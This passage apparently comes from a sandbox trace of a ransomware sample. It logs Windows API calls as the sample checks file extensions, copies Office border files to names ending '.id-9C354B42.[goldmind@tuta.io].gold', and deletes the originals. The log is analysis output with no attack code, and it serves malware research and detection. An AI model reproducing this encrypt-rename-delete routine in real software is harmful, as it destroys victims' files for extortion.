(lpString1=".ppt", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".zip") returned 4 [0110.086] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString=".rar") returned 4 [0110.086] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString=".bz2") returned 4 [0110.086] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.086] lstrlenW (lpString=".7z") returned 3 [0110.086] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".dbf") returned 4 [0110.086] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".1cd") returned 4 [0110.086] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".jpg") returned 4 [0110.086] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".doc") returned 4 [0110.086] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString=".docx") returned 5 [0110.086] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0110.086] lstrlenW (lpString=".pdf") returned 4 [0110.086] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString=".xls") returned 4 [0110.086] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString=".xlsx") returned 5 [0110.086] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0110.086] lstrlenW (lpString=".ppt") returned 4 [0110.086] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".zip") returned 4 [0110.086] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString=".rar") returned 4 [0110.086] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.086] lstrlenW (lpString=".bz2") returned 4 [0110.086] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.086] lstrlenW (lpString=".7z") returned 3 [0110.086] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".dbf") returned 4 [0110.086] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".1cd") returned 4 [0110.086] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0110.086] lstrlenW (lpString=".jpg") returned 4 [0110.086] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.087] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.087] lstrlenW (lpString="MSART10.BDR") returned 11 [0110.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0110.087] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=9292) returned 1 [0110.087] CloseHandle (hObject=0x230) returned 1 [0110.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 0x20 [0110.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0110.088] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.088] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0110.088] GetLastError () returned 0x0 [0110.088] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x244c, lpOverlapped=0x0) returned 1 [0110.111] WriteFile (in: hFile=0x398, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x2450, lpOverlapped=0x0) returned 1 [0110.112] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.112] WriteFile (in: hFile=0x398, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.112] SetEndOfFile (hFile=0x398) returned 1 [0110.112] CloseHandle (hObject=0x398) returned 1 [0110.112] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.112] SetEndOfFile (hFile=0x230) returned 1 [0110.114] CloseHandle (hObject=0x230) returned 1 [0110.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 1 [0110.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.115] lstrlenW (lpString=".doc") returned 4 [0110.115] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.115] lstrlenW (lpString=".docx") returned 5 [0110.115] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1 [0110.115] lstrlenW (lpString=".pdf") returned 4 [0110.115] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.115] lstrlenW (lpString=".xls") returned 4 [0110.115] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.115] lstrlenW (lpString=".xlsx") returned 5 [0110.115] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1 [0110.115] lstrlenW (lpString=".ppt") returned 4 [0110.115] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.115] lstrlenW (lpString=".zip") returned 4 [0110.115] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.115] lstrlenW (lpString=".rar") returned 4 [0110.115] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.115] lstrlenW (lpString=".bz2") returned 4 [0110.115] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.115] lstrlenW (lpString=".7z") returned 3 [0110.115] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.115] lstrlenW (lpString=".dbf") returned 4 [0110.115] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.115] lstrlenW (lpString=".1cd") returned 4 [0110.115] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.116] lstrlenW (lpString=".jpg") returned 4 [0110.116] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.116] lstrlenW (lpString=".doc") returned 4 [0110.116] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString=".docx") returned 5 [0110.116] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1 [0110.116] lstrlenW (lpString=".pdf") returned 4 [0110.116] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString=".xls") returned 4 [0110.116] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString=".xlsx") returned 5 [0110.116] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1 [0110.116] lstrlenW (lpString=".ppt") returned 4 [0110.116] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.116] lstrlenW (lpString=".zip") returned 4 [0110.116] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString=".rar") returned 4 [0110.116] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString=".bz2") returned 4 [0110.116] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString=".7z") returned 3 [0110.116] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.116] lstrlenW (lpString=".dbf") returned 4 [0110.116] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.116] lstrlenW (lpString=".1cd") returned 4 [0110.116] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0110.116] lstrlenW (lpString=".jpg") returned 4 [0110.116] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.116] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.116] lstrlenW (lpString="MSART12.BDR") returned 11 [0110.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0110.125] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=58756) returned 1 [0110.125] CloseHandle (hObject=0x364) returned 1 [0110.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 0x20 [0110.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.131] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.131] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0110.133] GetLastError () returned 0x0 [0110.133] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xe584, lpOverlapped=0x0) returned 1 [0110.135] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe590, lpOverlapped=0x0) returned 1 [0110.136] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.136] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.137] SetEndOfFile (hFile=0x3a8) returned 1 [0110.137] CloseHandle (hObject=0x3a8) returned 1 [0110.137] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.137] SetEndOfFile (hFile=0x380) returned 1 [0110.139] CloseHandle (hObject=0x380) returned 1 [0110.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 1 [0110.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.140] lstrlenW (lpString=".doc") returned 4 [0110.140] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.140] lstrlenW (lpString=".docx") returned 5 [0110.140] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0110.140] lstrlenW (lpString=".pdf") returned 4 [0110.140] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.140] lstrlenW (lpString=".xls") returned 4 [0110.140] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.140] lstrlenW (lpString=".xlsx") returned 5 [0110.140] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0110.140] lstrlenW (lpString=".ppt") returned 4 [0110.140] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.140] lstrlenW (lpString=".zip") returned 4 [0110.140] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.140] lstrlenW (lpString=".rar") returned 4 [0110.140] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.140] lstrlenW (lpString=".bz2") returned 4 [0110.141] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString=".7z") returned 3 [0110.141] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.141] lstrlenW (lpString=".dbf") returned 4 [0110.141] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.141] lstrlenW (lpString=".1cd") returned 4 [0110.141] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.141] lstrlenW (lpString=".jpg") returned 4 [0110.141] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.141] lstrlenW (lpString=".doc") returned 4 [0110.141] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString=".docx") returned 5 [0110.141] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0110.141] lstrlenW (lpString=".pdf") returned 4 [0110.141] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString=".xls") returned 4 [0110.141] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString=".xlsx") returned 5 [0110.141] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0110.141] lstrlenW (lpString=".ppt") returned 4 [0110.141] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.141] lstrlenW (lpString=".zip") returned 4 [0110.141] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString=".rar") returned 4 [0110.141] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString=".bz2") returned 4 [0110.141] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString=".7z") returned 3 [0110.141] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.141] lstrlenW (lpString=".dbf") returned 4 [0110.141] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.141] lstrlenW (lpString=".1cd") returned 4 [0110.141] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62 [0110.142] lstrlenW (lpString=".jpg") returned 4 [0110.142] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.142] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.142] lstrlenW (lpString="MSART13.BDR") returned 11 [0110.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.143] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=28368) returned 1 [0110.143] CloseHandle (hObject=0x380) returned 1 [0110.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 0x20 [0110.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.143] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.144] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0110.145] GetLastError () returned 0x0 [0110.145] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x6ed0, lpOverlapped=0x0) returned 1 [0110.148] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x6ee0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x6ee0, lpOverlapped=0x0) returned 1 [0110.149] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.149] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.149] SetEndOfFile (hFile=0x3a8) returned 1 [0110.149] CloseHandle (hObject=0x3a8) returned 1 [0110.149] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.149] SetEndOfFile (hFile=0x380) returned 1 [0110.151] CloseHandle (hObject=0x380) returned 1 [0110.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 1 [0110.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.152] lstrlenW (lpString=".doc") returned 4 [0110.152] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.152] lstrlenW (lpString=".docx") returned 5 [0110.152] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0110.152] lstrlenW (lpString=".pdf") returned 4 [0110.152] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.152] lstrlenW (lpString=".xls") returned 4 [0110.152] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.152] lstrlenW (lpString=".xlsx") returned 5 [0110.152] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0110.152] lstrlenW (lpString=".ppt") returned 4 [0110.152] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.152] lstrlenW (lpString=".zip") returned 4 [0110.152] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.152] lstrlenW (lpString=".rar") returned 4 [0110.152] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.152] lstrlenW (lpString=".bz2") returned 4 [0110.152] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.152] lstrlenW (lpString=".7z") returned 3 [0110.152] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.152] lstrlenW (lpString=".dbf") returned 4 [0110.152] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.152] lstrlenW (lpString=".1cd") returned 4 [0110.152] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.153] lstrlenW (lpString=".jpg") returned 4 [0110.153] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString="C:\\Program Files\\Microsoft 